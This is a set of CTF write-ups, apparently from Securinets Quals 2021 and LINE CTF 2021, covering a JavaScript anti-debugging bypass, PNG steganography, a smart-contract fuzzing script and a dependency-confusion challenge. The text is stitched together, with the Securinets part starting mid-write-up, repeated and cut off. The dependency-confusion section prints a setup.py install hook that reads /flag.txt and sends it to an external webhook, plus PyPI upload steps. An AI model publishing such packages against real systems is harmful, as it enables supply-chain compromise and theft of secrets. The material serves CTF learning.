And everytime I click on Resume, the "Call stack" start to getting bigger with a recursive execution on the same function that was calling debugger
Maybe this is one of the guards that TheEmperor mentioned which is an anti-debugging technique that will prevent the developer to debug the script execution. This will be triggered once the developer's tool is opened before any other event is triggered.
For this anti-debugging technique there are at least 2 solutions as I think:
1. Bypass it: In order to bypass it, you need to trigger a breakpoint somewhere you need it just before the anti-debugging function is loaded. How is this possible ? You can have a demonstration in the following GIF:
Well, the trick was to set a breakpoint in the validationform() function and once we load the dev tool, we need to trigger that function before the anti-debugging function will be loaded. That way we can force Javascript to execution the validationform() function first. But this should not too fast because the dev tool should be properly opened. Otherwise the breakpoint will not be triggered. This was one of the reason why the source code was beautified (so that participants can put breakpoints in the Javascript code from the web browser, otherwise they can download the source code and add the `debugger;` command anywhere before reloading the web page locally).
2. Remove it: If you want to remove the anti-debugger, you can check the `Call Stack` from the web browser (as I've mentioned earlier). And you'll need to get back to the parent functions and you'll need to find which function is most likely the anti-debugging one and you have to get rid of it literally. How can you do this? Well, you need to download the web page and run it locally. That's how you can easily tweak the code as your own way if you don't want to patch the functions.
In the source code the function `_0x379548()`
That function was located in the highlighted locations.
And when I try to reload the web page locally, I can click on "login" easily without seeing the debugger loaded when I open the dev tool.
Now, we can start solving the task.
In the validateform() function, there is a flag variable that seems to be interesting
So, I put a breakpoint in after that instruction to inspect what's inside the flag variable
If you're using the first method (bypassing the anti-debugger without removing it, you'll see strange output when you try to flag variable to see its content using
And then I clicked on "login", the breakpoint was triggered and the execution stopped there. Now, I tried to see what's inside the flag variable using `console.log(flag)` or `alert(flag)`
Whatever you put in those functions you'll get a missleaded output. Which means that these 2 functions were overrided and they are only working correctly for the "wrong message" and the "correct message". And these are probably the guards that are keeping us away from the flag. But no worries about this since we can see any variable content directly in the console
But here we can see the flag variable is not just a single flag but it's a bunch of many flags that are different from those they are shown with the `console.log()` and `alert()` function. And these flags seems to be the correct ones since they don't contain special characters. But which one is the correct one?
PS: If you worked with the second method (remove the parent function's call, the overrided functions will work properly).
Now if you look at the next instructions you'll see a small code that looks obvious how it's supposed to work:
This assemption came from the task description "the task is based on bypassing the guards not to make the obfuscation complicated".
When we look at the highlighted instructions we can see an if() and else() that will check the correct flag but inside a for() loop. And the loop for was parsing the flag array. When we put a breakpoint on the line 962 and run in the following instructions in the console:
We can see that as our input is "test" and we know that the flag format is `Securinets{....}`, the first compared characters are "t" from "test" and "S" from "Securints" and the flag is constructed from the flag array as follow `flag[i][i]`.
Using the same instructions from the provided Javascript code:
I was able to build the flag as follow:
So the flag is `Securinets{TheEmeror_grant_you_s4f3ty_in_th3_Empire}`.
### Bonus part from the task writer:
I've created this task based on [the following script](resources/web-584-bypass_the_emperors_guards/original.js). And it was obfuscated using [obfuscator.io](https://obfuscator.io):
___
## Exfiltration
**Category:** Steganography**Points:** 793**Solves:** 25**Author:** TheEmperors & Lys**Description:**
>2 spies were suspected to be involved in stoling secret data.
> According to the logs, the data was stolen when the first comment in the following tweet was published: https://twitter.com/_TheEmperors_/status/1373321585180966915
> After this incident, all the necessary actions were taken in place to remediate the breach.
> Hint: There is an important comment in this tweet apart the main tweet.
### Write-up
When we access the tweet link we can see the following tweet and reply which are tied with the task since there are 2 spies:
When we click on the first image, we wait until it loads and we open it in a new tab then we download it, we'll get [this PNG file from the tweet](resources/steg-793-exfiltration/uploaded-to-twitter/photo1-new.png) and [this PNG file from the reply](resources/steg-793-exfiltration/uploaded-to-twitter/photo2-new.png).
This task was a steganography task. It depends on how people proceed, they can use binwalk, foremost, zsteg, etc...
For the first PNG file, using any of these tools will show that the PNG file contains a .zip file
```zsteg Ew8EpIqW8AwjINW.png```
```zsteg Ew8EpIqW8AwjINW.png -E extradata:0 > zip.zip```
And we will get our [resources/steg-793-exfiltration/top-secret.zip file](resources/steg-793-exfiltration/original/top-secret.zip).
When we uncompress that file, we can see files with dummy and useless content
From the task description, this was the secret data that was stolen and after that, remediation actions were taked. But since there are 2 spies, the second PNG image can provide us with additional details (probably it contains the flag).
```zsteg Ew8Kkd-WQAAyZv8.png```
And then, we know this is hiding an mp3 file.
We can then extract it:
```zsteg Ew8Kkd-WQAAyZv8.png -E extradata:0 > mp3.mp3```
And we will get [this .mp3 file](resources/steg-793-exfiltration/original/2.mp3).
I've tried listening this file using VLC and I heard someone talking as follow:
```Now that our secrts were stolen, someone seems to be looking for our flag that will give him access to our system. That's why the flag should be changed immediately! Who knows, maybe it's on the hand of our adversaries.Listen everyone! Going forward, the flag is going to be as follow!Securinets with an uppercase in the beginning.Open curly braces.Never gonne give you up, never gonna let you down, in lowercase separated with an underscore.There is an additional underscore.Five, seven, three, nine!And then, close the curly braces.```
So, the flag is ``Securinets{never_gonna_give_you_up_never_gonna_let_you_down_5739}``.
### Bonus from the authors
This was not a usual steganography task since there is another method that will spare you from extracting these files which is by renaming the files and using them respectively as ZIP (.zip) and MP3 (.mp3) files. This is what is called polyglot files.
And this technique works for these 2 file types in Twitter (recently discovered). More details about how his works, please check this Tweet:https://twitter.com/David3141593/status/1371974874856587268 And this tool: https://github.com/DavidBuchanan314/tweetable-polyglot-png
Now, if you download the MP3 file and you rename it as .mp3, you'll still hear the message.
You can find [the original files here if you want to redo the test](resources/steg-793-exfiltration/original/)___
## Hack The Empire
**Category:** Misc**Points:** 884**Solves:** 19**Author:** TheEmperors**Description:**
>An enemy of The Empire have a job for you. As an adversary he want to hack CTFQ21EmpireTmp. He heard that in their server is hosting their holy flag in /flag.txt
>No IP address is needed in this task. Good luck.
̿̿> ̿̿ ̿̿ ̿'̿'\̵͇̿̿\з= ( ▀ ͜͞ʖ▀) =ε/̵͇̿̿/'̿'̿ ̿ ̿̿ ̿̿ ̿̿
>Important: Whatever was the solution that you're going to adopt, if you want to use webhooks, DO NOT USE any of those that allows other participants to see the flag (don't use webhook.site, you may let other participants to catch the flag from there) (for example you can use requestbin instead of webhook.site since the flag can be seen by the authenticated user). Think about using a method that will not leave anybody else to read the flag from your steps. And don't forget to remove your work after you solve the task to avoid anybody else to steal it.
>Hint 1: find the original web page (in the original website) that was sharing what you've found since that page is not updated
### Write-up
The first impression when we read this description is `WHAT THE HELL???!!!`.
This is because how can we hack servers that we don't even have?
The answer could be obviously tagged in the description which is `CTFQ21EmpireTmp`.
Just with googling skills, we can get what we need since the target name seems unique.
Search: `"CTFQ21EmpireTmp"`
We find this link: [https://ittone.ma/ittone/is-there-any-limit-in-pythons-requirements-txt-during-the-installation/](https://ittone.ma/ittone/is-there-any-limit-in-pythons-requirements-txt-during-the-installation/).
The first hint was mentioning to find the original website. But when we check this website we can see that there is a missmatch with the website name: this website is called ittone and it contains a Stackoverflow question.
So when we search for that question in Stackoverflow we can find the original link here: [https://stackoverflow.com/questions/66717285/is-there-any-limit-in-pythons-requirements-txt-during-the-installation](https://stackoverflow.com/questions/66717285/is-there-any-limit-in-pythons-requirements-txt-during-the-installation)
The hint was in the right place since the other link that we've originally got was including an outdated data while the question was edited recently and there was reply.
Well, there are a lot of this that we need to understand from this question:
* The company is using private python packages that we don't know where they are located.
* The packages names follows this regex `ctf-q21-empire-tmp-[a-z0-9\-]{5,10}` and they have almost these regex combinations used in their private repository (they've literally mentioned they have billions of packages which is correct according to the regex `10^10`).
* The packages are scheduled to be installed every 5 minutes. So we might have to do something every 5 minutes (maybe the exploit can work every 5 minutes).
* They are using the following command to install the private packages listed in the `requirements.txt` file: `cat requirement.txt | pip3 install -I` with the configuration of pip:```[global]extra-index-url = http://<private_IP_and_port>/simple/trusted-host = <private_IP>```
* They are using python3
* No additional public package is installed if it's not needed.
* etc
Well, there are a lot of details but this is what we need to remember from now.
It was strange why that person share the configuration file of the ``pip.conf``. But it was a good hint because when I tried to search in Google what was the `extra-index-url` parameter, I've found the following result:
That CVE was recent:```CVE-2018-20225 python-pip: when --extra-index-url option is used and package does not already exist in the public index, the installation of malicious package with arbitrary version number is possible.```
It's true this is from Redhat bug tracker website but the description applies to all the destributions and it's not going to be fixed (WONTFIX).
After some Googling, I found this interesting article that describes the vulnerability: [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
Which is called `Dependency confusion - From the Application Supply Chain Attack`.
Now, if we remember well, we know what our target is using as packages. We need to build a Python package that meets with the same regex using inside the analysis server. We have to specify a higher version and if the package is meant to be installed in the server, the public repository will be checked first as the company is using `extra-index-url` parameter linked to their private repository. So the priority is set with the PyPi (public repository) first.
What can we put in this package? Well, in the task description, they asked us to retrieve the holy flag from `/flag.txt`.
How can we get it since there is no web interface to see it? We can use a webhook. It was mentioned in the task description that we need to use private webhooks if we want it. Otherwise there are another solution that not everyone can afford to do it but it's going to be discussed here.
The first thing that we need to do is to create a python package that we can test its installation locally and once it works we can wait every 5 minutes and check the webhook whether it gets the request.
I've followed this tutorial on how to create a python package: [https://www.linode.com/docs/guides/how-to-create-a-private-python-package-repository/](https://www.linode.com/docs/guides/how-to-create-a-private-python-package-repository/)
And the setup.py included the following script:
```from setuptools import setupimport osfrom setuptools.command.install import install
class PostInstallCommand(install): """Post-installation for installation mode.""" def run(self): install.run(self) # PUT YOUR POST-INSTALL SCRIPT HERE or CALL A FUNCTION #os.popen("pwd") import requests requests.get("https://ene63d9dv33i6ch.m.pipedream.net/?test="+os.popen("cat /flag.txt | base64").read())
setup( name='ctf-q21-empire-tmp-test123', description='The Emperor', version='9999.0.1', packages=['main'], install_requires=[ 'requests', ], cmdclass={ 'install': PostInstallCommand } )```
Well, when I created a virtualenv with a fresh python3 installation just to test how the package is installed there:
```virtualenv venvsource venv/bin/activatepip install ctf-q21-empire-tmp-test123```
The first time it didn't work when I didn't included `install_requires` because the package `requests` doesn't come with a fresh python installation. It was mentioned in the Stackoverflow question that there was no public packages initially installed. And when we install that package, we have to inform the setup package that we will import `requests` and we will request the webhook after the installation.
Why did I used base64? Basically it's an instinct. You never know what's inside the /flag.txt file and when it contains any special character that could break the python instruction and that would fail and this was the case since we've discovered that the flag.txt file contains multiline text content.
Now I can build the package and send it the PyPi:
``` rm -rf dist/*; python3 setup.py sdist;twine upload dist/ctf-q21-empire-tmp-test123*# Put the credentials```
Then you'll see your package published there:
You can check the built project here: [ctf-q21-empire-tmp-test123-9999.0.2.tar](resources/misc-884-hack_the_empire/ctf-q21-empire-tmp-test123-9999.0.2.tar)
Then I waited few minutes (max 5 minutes and I've received the flag once):
URL: `https://ene63d9dv33i6ch.m.pipedream.net/?answer=VGhpcyBpcyB3aGF0IHdlIGNhbGwgJ0RlcGVuZGVuY3kgY29uZnVzaW9uJ1xudGhhdCBpcyB3ZWxs%0AIGV4cGxhaW5lZCBoZXJlICh0aGlzIGlzIG5vdCBteSBhcnRpY2xlIGJ1dCBJIGxpa2VkIGl0KSBo%0AdHRwczovL21lZGl1bS5jb20vQGFsZXguYmlyc2FuL2RlcGVuZGVuY3ktY29uZnVzaW9uLTRhNWQ2%0AMGZlYzYxMCAuXG4gV2hpY2ggaXMgcGFydCBvZiB0aGUgT3BlbiBTb3VyY2UgU29mdHdhcmUgU3Vw%0AcGx5IENoYWluIEF0dGFja3MuXG5GbGFnOiBTZWN1cmluZXRze0QzUDNOZDNuY3lfQzBuRnU1IW5f%0AeERfd2VyZV95b3VfY29uZnVzZWRfZW5vdWdofVxuV2UgZGlkbid0IHdhbnQgdG8gbWFrZSBpdCBt%0Ab3JlIGRpZmZpY3VsdCB0byB0YWtlIGluIGNvbnNpZGVyYXRpb24gd2hhdCBhbGwgdGhlIHRlYW1z%0AIG5lZWQgYXMgcmVxdWlyZW1lbnRzLiBUaGlzIGlzIHdoeSBmb3IgdGhlIHRpbWUgYmVpbmcgd2Ug%0AYXJlIG5vdCByZXF1ZXN0aW5nIGRpZmZpY3VsdCB0YXNrIChqdXN0IHJlYWQgdGhpcyBmaWxlIGlz%0AIGVub3VnaCkgYnV0IHRoZSBtaXNzY29uZmlndXJhdGlvbiBoZXJlIGlzIHRpZWQgd2l0aCB0aGUg%0ALS1leHRyYS1pbmRleC11cmwuIFlvdSBjYW4gY2hlY2sgdGhlIC9ldGMvcGlwLmNvbmYgaWYgeW91%0AIGFyZSBjdXJpb3VzIHRvIHNlZSBpZiB0aGlzIGlzIGEgcmVhbCB0YXNrIG9yIHdhcyBpdCBmYWtl%0AZC4=%0A`
Now, when I take the answer's value and I decode it in a base64 decoding tool, I can see the following output: [https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Base64('A-Za-z0-9%2B/%3D',true)](https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Base64('A-Za-z0-9%2B/%3D',true))
Output:
```This is what we call 'Dependency confusion'\nthat is well explained here (this is not my article but I liked it) https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610 .\n Which is part of the Open Source Software Supply Chain Attacks.\nFlag: Securinets{D3P3Nd3ncy_C0nFu5!n_xD_were_you_confused_enough}\nWe didn't want to make it more difficult to take in consideration what all the teams need as requirements. This is why for the time being we are not requesting difficult task (just read this file is enough) but the missconfiguration here is tied with the --extra-index-url. You can check the /etc/pip.conf if you are curious to see if this is a real task or was it faked.```
So, the flag is: `Securinets{D3P3Nd3ncy_C0nFu5!n_xD_were_you_confused_enough}`.
### Bonus from the author
The task became easy from the beginning when the published packages were discovered to be leaked in Tencent mirrors quickly and they are indexed in Google cache. And even though, the participant should know how the dependency confusion works, what he should perform and why it worked in this case. Otherwise, people will try to upload stolen packages without modifying the payloads or they try to execute it locally which is not the recommended solution.___
# Scoreboard
This is the tasks list released on the CTF and the scoreboard that you can find in [ctftime](https://ctftime.org/event/1308):
|
# LINE CTF 2021 - Reversing - Sakura
## TL;DR - Some Solidity smart contracts and the CLI application (webpacked) to manipulate them are given. - The flag is output when the state of multiple accounts is badly transitioned. - The state referred to here is not the `State` defined in the contract. - Since there are only a few possible choices in the CLI application, **fuzzing** can solve this problem.
## Problem>Sakura is beautiful>nc 34.84.178.140 13000
The given files:```.├── contracts│ ├── Contract.sol│ └── openzeppelin│ └── contracts│ ├── access│ │ └── Ownable.sol│ └── utils│ └── Context.sol├── (flag)└── index.js```
## Solution `Contract.sol` is the core code of the app, `index.js` is the CLI application that manipulates the contract (the bytecode of the contract is embedded). `openzeppelin` is the standard library for contracts; thus, we do not need to read it.
We access the app with `nc` (or run it locally) and then get the following results and select a choice.```txt❯ nc 34.84.178.140 13000Loading...Account: 0x66ab6d9362d4f35596279692f0251db635165871Account: 0x33a4622b82d4c04a53e170c638b944ce27cffce3Account: 0x0063046686e46dc6f15918b61ae2b121458534a5Set player account a balance of 100 ETHCompiling...Deploying the contract...Contract address: 0xe7cb1c67752cbb975a56815af242ce2ce63d3113--------------------------------------Welcome to Timeless Sakura Prediction Game
- You can get ETHs if you predict the future.- Oracle system that go beyond powerful time will judge.- We have GOD level BFT consensus model, Ethereum based single node blockchain. (Yeah, We've solved the bloody byzantine general problem)- We use a smart contract engine based on a powerful EVM, the World computer.
--------------------------------------Today's question is
What will be the weather tomorrow?
1) Sunny 2) Rainy
--------------------------------------1) Bet2) Cancel3) Get Player's Balance4) Finalize```
First, we operate the app and then find the following. - The `Oracle response` we get in the `Finalize` choice is the opposite of the input of the `Bet` choice. It seems good if these are the same value. - The `Bet` choice reduces the balance of the accounts. If we cancel, it returns. - We can only enter a choice up to five times. - If proper input and proper order are not followed, transactions revert. - Example: `Tx Reverted: [ 'Invalid state' ] { error: 'revert', errorType: 'VmError' }` - The number and content of transactions revert changes depending on the order of selection. There are probably transactions for multiple accounts. - etc.
Next, if we look for how `flag` is output, we find it in `index.js`. - `case 1: return 1 == I.sent().balance.gt(new Y.BN(G.convert("1000", "eth", "wei"))) && (console.log("win!"), console.log(k.readFileSync("/flag", "utf8"))), [2]` - We can see that the flag will probably be output when the balance of my account exceeds 1000 ETH. - If we change this 1000 value, the flag is actually be displayed at the timing of the `Finalize` choice.
We assume that there is a sequence of choices whose length is less than five that will output a flag. We can use a fuzzing approach.The code is as follows.```pyimport subprocessimport itertoolsfrom concurrent.futures import ProcessPoolExecutor
cands = [(1, 0), (1, 1), (1, 3), (2,), (3,)]
zenbu = [c + ((4,),) for c in itertools.product(cands, repeat=4)]
def work(tup): print(tup) proc = subprocess.Popen(["node", "sakura/index.js"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
s = "\n".join(str(x) for x in itertools.chain(*tup))+"\n"
stdout, stderr = proc.communicate(s.encode()) stdout = stdout.decode()
if "win!" in stdout or "LINECTF" in stdout: print("!" * 1000, tup) open("!!!.txt", "w").write(str(tup)) exit(0)
with ProcessPoolExecutor(max_workers=4) as executor: executor.map(work, zenbu)```
We enter `(1,1),(1,3),(4,)` and then get the flag.
`LINECTF{S4kura_hira_hira_come_to_spring}` |
# CTFSecurinets Quals 2021 WriteupThis repository serves as a writeup for CTFSecurinets Quals 2021
## Bypass TheEmperor's Guards
**Category:** Web**Points:** 584**Solves:** 35**Author:** TheEmperors**Description:**
>TheEmperor created an HTML form where he was trying to show that he can store his password there without any risk thanks to his faithful guards that will prevent anyone from getting access to the flag.
>For simplicity reason, he knows that obfuscating so much the code would decrease its performance. That's why he only remained on his guards and for another simplicity reason, he didn't want to put a compact code (the code is beautified) since the objective is to test how powerful are his guards.
>Now, bypass TheEmperor's guards and get a full access to the empire with his mighty flag.
>Link: https://web3.q21.ctfsecurinets.com/
**Hint:**
> No hint.
### Write-upWhen you visit the task page, you will get this page
When you look at [the source code of the web page](resources/web-584-bypass_the_emperors_guards/source_code/warmup.html):
You'll see an obfuscated Javascript. And when you try to put dummy password in the form and you click on "login", you'll get this alert():
Well, we need to check how we this alert was triggered. So in the source code, when we submit the form, the function `validateform()` is called.
The first thing that I've tried to do is to check the developer's Network (by right click + inspect the element + go to Network tab), once I open the developers tool, the execution will be paused by the debugger
And everytime I click on Resume, the "Call stack" start to getting bigger with a recursive execution on the same function that was calling debugger
Maybe this is one of the guards that TheEmperor mentioned which is an anti-debugging technique that will prevent the developer to debug the script execution. This will be triggered once the developer's tool is opened before any other event is triggered.
For this anti-debugging technique there are at least 2 solutions as I think:
1. Bypass it: In order to bypass it, you need to trigger a breakpoint somewhere you need it just before the anti-debugging function is loaded. How is this possible ? You can have a demonstration in the following GIF:
Well, the trick was to set a breakpoint in the validationform() function and once we load the dev tool, we need to trigger that function before the anti-debugging function will be loaded. That way we can force Javascript to execution the validationform() function first. But this should not too fast because the dev tool should be properly opened. Otherwise the breakpoint will not be triggered. This was one of the reason why the source code was beautified (so that participants can put breakpoints in the Javascript code from the web browser, otherwise they can download the source code and add the `debugger;` command anywhere before reloading the web page locally).
2. Remove it: If you want to remove the anti-debugger, you can check the `Call Stack` from the web browser (as I've mentioned earlier). And you'll need to get back to the parent functions and you'll need to find which function is most likely the anti-debugging one and you have to get rid of it literally. How can you do this? Well, you need to download the web page and run it locally. That's how you can easily tweak the code as your own way if you don't want to patch the functions.
In the source code the function `_0x379548()`
That function was located in the highlighted locations.
And when I try to reload the web page locally, I can click on "login" easily without seeing the debugger loaded when I open the dev tool.
Now, we can start solving the task.
In the validateform() function, there is a flag variable that seems to be interesting
So, I put a breakpoint in after that instruction to inspect what's inside the flag variable
If you're using the first method (bypassing the anti-debugger without removing it, you'll see strange output when you try to flag variable to see its content using
And then I clicked on "login", the breakpoint was triggered and the execution stopped there. Now, I tried to see what's inside the flag variable using `console.log(flag)` or `alert(flag)`
Whatever you put in those functions you'll get a missleaded output. Which means that these 2 functions were overrided and they are only working correctly for the "wrong message" and the "correct message". And these are probably the guards that are keeping us away from the flag. But no worries about this since we can see any variable content directly in the console
But here we can see the flag variable is not just a single flag but it's a bunch of many flags that are different from those they are shown with the `console.log()` and `alert()` function. And these flags seems to be the correct ones since they don't contain special characters. But which one is the correct one?
PS: If you worked with the second method (remove the parent function's call, the overrided functions will work properly).
Now if you look at the next instructions you'll see a small code that looks obvious how it's supposed to work:
This assemption came from the task description "the task is based on bypassing the guards not to make the obfuscation complicated".
When we look at the highlighted instructions we can see an if() and else() that will check the correct flag but inside a for() loop. And the loop for was parsing the flag array. When we put a breakpoint on the line 962 and run in the following instructions in the console:
We can see that as our input is "test" and we know that the flag format is `Securinets{....}`, the first compared characters are "t" from "test" and "S" from "Securints" and the flag is constructed from the flag array as follow `flag[i][i]`.
Using the same instructions from the provided Javascript code:
I was able to build the flag as follow:
So the flag is `Securinets{TheEmeror_grant_you_s4f3ty_in_th3_Empire}`.
### Bonus part from the task writer:
I've created this task based on [the following script](resources/web-584-bypass_the_emperors_guards/original.js). And it was obfuscated using [obfuscator.io](https://obfuscator.io):
___
## Exfiltration
**Category:** Steganography**Points:** 793**Solves:** 25**Author:** TheEmperors & Lys**Description:**
>2 spies were suspected to be involved in stoling secret data.
> According to the logs, the data was stolen when the first comment in the following tweet was published: https://twitter.com/_TheEmperors_/status/1373321585180966915
> After this incident, all the necessary actions were taken in place to remediate the breach.
> Hint: There is an important comment in this tweet apart the main tweet.
### Write-up
When we access the tweet link we can see the following tweet and reply which are tied with the task since there are 2 spies:
When we click on the first image, we wait until it loads and we open it in a new tab then we download it, we'll get [this PNG file from the tweet](resources/steg-793-exfiltration/uploaded-to-twitter/photo1-new.png) and [this PNG file from the reply](resources/steg-793-exfiltration/uploaded-to-twitter/photo2-new.png).
This task was a steganography task. It depends on how people proceed, they can use binwalk, foremost, zsteg, etc...
For the first PNG file, using any of these tools will show that the PNG file contains a .zip file
```zsteg Ew8EpIqW8AwjINW.png```
```zsteg Ew8EpIqW8AwjINW.png -E extradata:0 > zip.zip```
And we will get our [resources/steg-793-exfiltration/top-secret.zip file](resources/steg-793-exfiltration/original/top-secret.zip).
When we uncompress that file, we can see files with dummy and useless content
From the task description, this was the secret data that was stolen and after that, remediation actions were taked. But since there are 2 spies, the second PNG image can provide us with additional details (probably it contains the flag).
```zsteg Ew8Kkd-WQAAyZv8.png```
And then, we know this is hiding an mp3 file.
We can then extract it:
```zsteg Ew8Kkd-WQAAyZv8.png -E extradata:0 > mp3.mp3```
And we will get [this .mp3 file](resources/steg-793-exfiltration/original/2.mp3).
I've tried listening this file using VLC and I heard someone talking as follow:
```Now that our secrts were stolen, someone seems to be looking for our flag that will give him access to our system. That's why the flag should be changed immediately! Who knows, maybe it's on the hand of our adversaries.Listen everyone! Going forward, the flag is going to be as follow!Securinets with an uppercase in the beginning.Open curly braces.Never gonne give you up, never gonna let you down, in lowercase separated with an underscore.There is an additional underscore.Five, seven, three, nine!And then, close the curly braces.```
So, the flag is ``Securinets{never_gonna_give_you_up_never_gonna_let_you_down_5739}``.
### Bonus from the authors
This was not a usual steganography task since there is another method that will spare you from extracting these files which is by renaming the files and using them respectively as ZIP (.zip) and MP3 (.mp3) files. This is what is called polyglot files.
And this technique works for these 2 file types in Twitter (recently discovered). More details about how his works, please check this Tweet:https://twitter.com/David3141593/status/1371974874856587268 And this tool: https://github.com/DavidBuchanan314/tweetable-polyglot-png
Now, if you download the MP3 file and you rename it as .mp3, you'll still hear the message.
You can find [the original files here if you want to redo the test](resources/steg-793-exfiltration/original/)___
## Hack The Empire
**Category:** Misc**Points:** 884**Solves:** 19**Author:** TheEmperors**Description:**
>An enemy of The Empire have a job for you. As an adversary he want to hack CTFQ21EmpireTmp. He heard that in their server is hosting their holy flag in /flag.txt
>No IP address is needed in this task. Good luck.
̿̿> ̿̿ ̿̿ ̿'̿'\̵͇̿̿\з= ( ▀ ͜͞ʖ▀) =ε/̵͇̿̿/'̿'̿ ̿ ̿̿ ̿̿ ̿̿
>Important: Whatever was the solution that you're going to adopt, if you want to use webhooks, DO NOT USE any of those that allows other participants to see the flag (don't use webhook.site, you may let other participants to catch the flag from there) (for example you can use requestbin instead of webhook.site since the flag can be seen by the authenticated user). Think about using a method that will not leave anybody else to read the flag from your steps. And don't forget to remove your work after you solve the task to avoid anybody else to steal it.
>Hint 1: find the original web page (in the original website) that was sharing what you've found since that page is not updated
### Write-up
The first impression when we read this description is `WHAT THE HELL???!!!`.
This is because how can we hack servers that we don't even have?
The answer could be obviously tagged in the description which is `CTFQ21EmpireTmp`.
Just with googling skills, we can get what we need since the target name seems unique.
Search: `"CTFQ21EmpireTmp"`
We find this link: [https://ittone.ma/ittone/is-there-any-limit-in-pythons-requirements-txt-during-the-installation/](https://ittone.ma/ittone/is-there-any-limit-in-pythons-requirements-txt-during-the-installation/).
The first hint was mentioning to find the original website. But when we check this website we can see that there is a missmatch with the website name: this website is called ittone and it contains a Stackoverflow question.
So when we search for that question in Stackoverflow we can find the original link here: [https://stackoverflow.com/questions/66717285/is-there-any-limit-in-pythons-requirements-txt-during-the-installation](https://stackoverflow.com/questions/66717285/is-there-any-limit-in-pythons-requirements-txt-during-the-installation)
The hint was in the right place since the other link that we've originally got was including an outdated data while the question was edited recently and there was reply.
Well, there are a lot of this that we need to understand from this question:
* The company is using private python packages that we don't know where they are located.
* The packages names follows this regex `ctf-q21-empire-tmp-[a-z0-9\-]{5,10}` and they have almost these regex combinations used in their private repository (they've literally mentioned they have billions of packages which is correct according to the regex `10^10`).
* The packages are scheduled to be installed every 5 minutes. So we might have to do something every 5 minutes (maybe the exploit can work every 5 minutes).
* They are using the following command to install the private packages listed in the `requirements.txt` file: `cat requirement.txt | pip3 install -I` with the configuration of pip:```[global]extra-index-url = http://<private_IP_and_port>/simple/trusted-host = <private_IP>```
* They are using python3
* No additional public package is installed if it's not needed.
* etc
Well, there are a lot of details but this is what we need to remember from now.
It was strange why that person share the configuration file of the ``pip.conf``. But it was a good hint because when I tried to search in Google what was the `extra-index-url` parameter, I've found the following result:
That CVE was recent:```CVE-2018-20225 python-pip: when --extra-index-url option is used and package does not already exist in the public index, the installation of malicious package with arbitrary version number is possible.```
It's true this is from Redhat bug tracker website but the description applies to all the destributions and it's not going to be fixed (WONTFIX).
After some Googling, I found this interesting article that describes the vulnerability: [https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)
Which is called `Dependency confusion - From the Application Supply Chain Attack`.
Now, if we remember well, we know what our target is using as packages. We need to build a Python package that meets with the same regex using inside the analysis server. We have to specify a higher version and if the package is meant to be installed in the server, the public repository will be checked first as the company is using `extra-index-url` parameter linked to their private repository. So the priority is set with the PyPi (public repository) first.
What can we put in this package? Well, in the task description, they asked us to retrieve the holy flag from `/flag.txt`.
How can we get it since there is no web interface to see it? We can use a webhook. It was mentioned in the task description that we need to use private webhooks if we want it. Otherwise there are another solution that not everyone can afford to do it but it's going to be discussed here.
The first thing that we need to do is to create a python package that we can test its installation locally and once it works we can wait every 5 minutes and check the webhook whether it gets the request.
I've followed this tutorial on how to create a python package: [https://www.linode.com/docs/guides/how-to-create-a-private-python-package-repository/](https://www.linode.com/docs/guides/how-to-create-a-private-python-package-repository/)
And the setup.py included the following script:
```from setuptools import setupimport osfrom setuptools.command.install import install
class PostInstallCommand(install): """Post-installation for installation mode.""" def run(self): install.run(self) # PUT YOUR POST-INSTALL SCRIPT HERE or CALL A FUNCTION #os.popen("pwd") import requests requests.get("https://ene63d9dv33i6ch.m.pipedream.net/?test="+os.popen("cat /flag.txt | base64").read())
setup( name='ctf-q21-empire-tmp-test123', description='The Emperor', version='9999.0.1', packages=['main'], install_requires=[ 'requests', ], cmdclass={ 'install': PostInstallCommand } )```
Well, when I created a virtualenv with a fresh python3 installation just to test how the package is installed there:
```virtualenv venvsource venv/bin/activatepip install ctf-q21-empire-tmp-test123```
The first time it didn't work when I didn't included `install_requires` because the package `requests` doesn't come with a fresh python installation. It was mentioned in the Stackoverflow question that there was no public packages initially installed. And when we install that package, we have to inform the setup package that we will import `requests` and we will request the webhook after the installation.
Why did I used base64? Basically it's an instinct. You never know what's inside the /flag.txt file and when it contains any special character that could break the python instruction and that would fail and this was the case since we've discovered that the flag.txt file contains multiline text content.
Now I can build the package and send it the PyPi:
``` rm -rf dist/*; python3 setup.py sdist;twine upload dist/ctf-q21-empire-tmp-test123*# Put the credentials```
Then you'll see your package published there:
You can check the built project here: [ctf-q21-empire-tmp-test123-9999.0.2.tar](resources/misc-884-hack_the_empire/ctf-q21-empire-tmp-test123-9999.0.2.tar)
Then I waited few minutes (max 5 minutes and I've received the flag once):
